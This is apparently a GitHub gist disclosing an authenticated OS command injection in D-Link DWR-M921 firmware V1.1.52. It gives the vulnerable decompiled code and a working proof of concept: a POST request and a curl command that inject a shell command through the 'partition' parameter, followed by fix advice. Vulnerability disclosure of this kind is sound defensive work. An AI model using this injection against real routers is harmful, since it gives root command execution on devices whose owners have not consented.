Skip to content

Instantly share code, notes, and snippets.

@H3rmesk1t
Last active August 6, 2026 17:13
Show Gist options
  • Select an option

  • Save H3rmesk1t/1f7efbf4584ce13222e8b0c669e7784a to your computer and use it in GitHub Desktop.

Select an option

Save H3rmesk1t/1f7efbf4584ce13222e8b0c669e7784a to your computer and use it in GitHub Desktop.
D-Link DWR-M921 V1.1.52 - Command Injection in /boafrm/formDiskFormat

Submission Details

Detail Information
Vendor D-Link
Product DWR-M921
Affected Version Firmware V1.1.52
Vulnerability Type OS Command Injection (CWE-78)
Submitter [LiuYijun / State Grid Corporation of China]
Affected Component /boafrm/formDiskFormat (bin/boa)
Severity High / Critical

image

Vulnerability Description

A vulnerability has been found in D-Link DWR-M921 firmware V1.1.52. It can be triggered through the route /boafrm/formDiskFormat. The manipulation of the argument partition leads to OS command injection. The attack is possible remotely after authentication.

Independence statement: In the formDiskFormat handler (0x46E02C) the partition parameter is concatenated without quotes and without filtering into umount/mke2fs/mount commands executed via system(). A semicolon directly injects commands. This USB storage formatting handler was not covered by any previously published CVE.

Vulnerability Details

The vulnerable handler is sub_46E02C at address 0x46E02C in /bin/boa.

  • Vulnerable parameter: partition (no quoting, no filtering); systype (used in mke2fs -t %s).
  • Authentication: Required (webuicookie session).
  • Command templates: umount /dev/%s >/dev/null 2>&1; mke2fs -t %s /dev/%s; mount -t ext4 /dev/%s /var/tmp/usb/%s — all via system().
  • Injection method: Semicolon injection — sdb;CMD; (no quoting).
  • Branch condition: partition non-empty + apmib flow.
image

Root Cause

In sub_46E02C the partition value is used in four system() commands without sanitization:

v2 = sub_415F84(a1, "partition", "");   // user-controlled, no quoting
sprintf(v10, "umount /dev/%s >/dev/null 2>&1", v2); system(v10);
sprintf(v10, "mkdir -p /var/tmp/usb/%s >/dev/null 2>&1", v2); system(v10);
sprintf(v10, "mount -t ext4 /dev/%s /var/tmp/usb/%s >/dev/null 2>&1", v2, v2); system(v10);

partition=sdb;echo PWNED > /tmp/f; executes the injected command as root.

Firmware Emulation

The firmware was successfully emulated using tools like FirmAE/FAT. The web interface is accessible, and the vulnerability can be triggered in the simulated environment.

image

Impact

  • Remote command execution as root on the router after authentication.

PoC

POST /boafrm/formDiskFormat HTTP/1.1
Host: 192.168.0.1
Cookie: webuicookie=<session>
Content-Type: application/x-www-form-urlencoded
Referer: http://192.168.0.1/diskformat.htm

partition=sdb%3Becho%20PWNED%3E%2Ftmp%2Fpwned.txt%3B&systype=ext4&submit_url=%2Fdiskformat.htm

Verification (dynamically confirmed):

curl -s -b "webuicookie=<session>" -X POST "http://192.168.0.1/boafrm/formDiskFormat" \
  --data-urlencode "partition=sdb;echo PWNED > /tmp/pwned.txt;" \
  --data-urlencode "systype=ext4" --data-urlencode "submit_url=/diskformat.htm"
# -> HTTP 302 -> /diskformat.htm (handler executed)

cat /tmp/pwned.txt   # -> PWNED  (FirmAE verified)
image image

Fix

  • Apply a strict whitelist to partition/systype: device name ^sd[a-z][0-9]*$, filesystem type from an enum (ext4/fat32/ntfs).
  • Reject all shell metacharacters.
  • Use C APIs (umount2/mkfs library calls) instead of system() string concatenation.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment